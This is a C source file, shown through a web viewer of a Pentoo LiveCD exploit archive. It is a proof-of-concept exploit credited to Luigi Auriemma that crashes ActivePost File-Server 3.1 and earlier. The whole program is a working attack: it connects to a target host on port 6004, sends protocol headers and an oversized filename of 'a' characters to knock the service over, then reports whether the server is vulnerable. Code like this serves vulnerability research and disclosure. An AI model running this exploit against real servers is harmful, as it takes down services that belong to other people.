home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / activepost / actpboom.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  169 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10.  
  11. #ifdef WIN32
  12.     #include <winsock.h>
  13.     #include "winerr.h"
  14.  
  15.     #define close   closesocket
  16. #else
  17.     #include <unistd.h>
  18.     #include <sys/socket.h>
  19.     #include <sys/types.h>
  20.     #include <arpa/inet.h>
  21.     #include <netdb.h>
  22.     #include <netinet/in.h>
  23. #endif
  24.  
  25.  
  26.  
  27. #define VER     "0.1"
  28. #define PORT    6004
  29. #define BUFFSZ  4104    /* don't modify! */
  30. #define TIMEOUT 3
  31.  
  32. #define SEND    if(send(sd, buff, BUFFSZ, 0) \
  33.                   < 0) std_err();
  34. #define RECV    for(tot = 0; tot < BUFFSZ; tot += len) { \
  35.                     len = recv(sd, buff + tot, BUFFSZ - tot, 0); \
  36.                     if(len < 0) std_err(); \
  37.                     if(!len) break; \
  38.                 }
  39.  
  40.  
  41.  
  42. int timeout(int sock);
  43. u_long resolv(char *host);
  44. void std_err(void);
  45.  
  46.  
  47.  
  48. int main(int argc, char *argv[]) {
  49.     struct  sockaddr_in peer;
  50.     int     sd,
  51.             len,
  52.             tot;
  53.     u_short port = PORT;
  54.     u_char  buff[BUFFSZ];
  55.  
  56.  
  57.     setbuf(stdout, NULL);
  58.  
  59.     fputs("\n"
  60.         "ActivePost File-Server <= 3.1 crash "VER"\n"
  61.         "by Luigi Auriemma\n"
  62.         "e-mail: aluigi@altervista.org\n"
  63.         "web:    http://aluigi.altervista.org\n"
  64.         "\n", stdout);
  65.  
  66.     if(argc < 2) {
  67.         printf("\nUsage: %s <server> [port(%d)]\n"
  68.             "\n", argv[0], PORT);
  69.         exit(1);
  70.     }
  71.  
  72. #ifdef WIN32
  73.     WSADATA    wsadata;
  74.     WSAStartup(MAKEWORD(1,0), &wsadata);
  75. #endif
  76.  
  77.     if(argc > 2) port = atoi(argv[2]);
  78.  
  79.     peer.sin_addr.s_addr = resolv(argv[1]);
  80.     peer.sin_port        = htons(port);
  81.     peer.sin_family      = AF_INET;
  82.  
  83.     printf("\n- target   %s:%hu\n",
  84.         inet_ntoa(peer.sin_addr), port);
  85.  
  86.     sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  87.     if(sd < 0) std_err();
  88.  
  89.     if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  90.       < 0) std_err();
  91.  
  92.     memset(buff, 0x00, BUFFSZ);
  93.  
  94.     fputs("- send first header\n", stdout);
  95.     *(u_long *)buff = 0x1f5;
  96.     SEND;
  97.     RECV;
  98.  
  99.     fputs("- send filename (BOOM)\n", stdout);
  100.     *(u_long *)buff = 0x1f6;
  101.     memset(buff + 8, 'a', BUFFSZ - 8);
  102.     SEND;
  103.     RECV;
  104.  
  105.     memset(buff, 0x00, BUFFSZ);
  106.  
  107.     fputs("- send file data (none)\n", stdout);
  108.     *(u_long *)buff = 0x1f8;
  109.     SEND;
  110.  
  111.     fputs("- send final header\n", stdout);
  112.     *(u_long *)buff = 0x1f9;
  113.     SEND;
  114.  
  115.     if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) {
  116.         fputs("\nServer IS vulnerable!!!\n\n", stdout);
  117.     } else {
  118.         fputs("\nServer doesn't seem vulnerable\n\n", stdout);
  119.     }
  120.  
  121.     close(sd);
  122.     return(0);
  123. }
  124.  
  125.  
  126.  
  127. int timeout(int sock) {
  128.     struct  timeval tout;
  129.     fd_set  fd_read;
  130.     int     err;
  131.  
  132.     tout.tv_sec = TIMEOUT;
  133.     tout.tv_usec = 0;
  134.     FD_ZERO(&fd_read);
  135.     FD_SET(sock, &fd_read);
  136.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  137.     if(err < 0) std_err();
  138.     if(!err) return(-1);
  139.     return(0);
  140. }
  141.  
  142.  
  143.  
  144. u_long resolv(char *host) {
  145.     struct  hostent *hp;
  146.     u_long  host_ip;
  147.  
  148.     host_ip = inet_addr(host);
  149.     if(host_ip == INADDR_NONE) {
  150.         hp = gethostbyname(host);
  151.         if(!hp) {
  152.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  153.             exit(1);
  154.         } else host_ip = *(u_long *)(hp->h_addr);
  155.     }
  156.     return(host_ip);
  157. }
  158.  
  159.  
  160.  
  161. #ifndef WIN32
  162.     void std_err(void) {
  163.         perror("\nError");
  164.         exit(1);
  165.     }
  166. #endif
  167.  
  168.  
  169.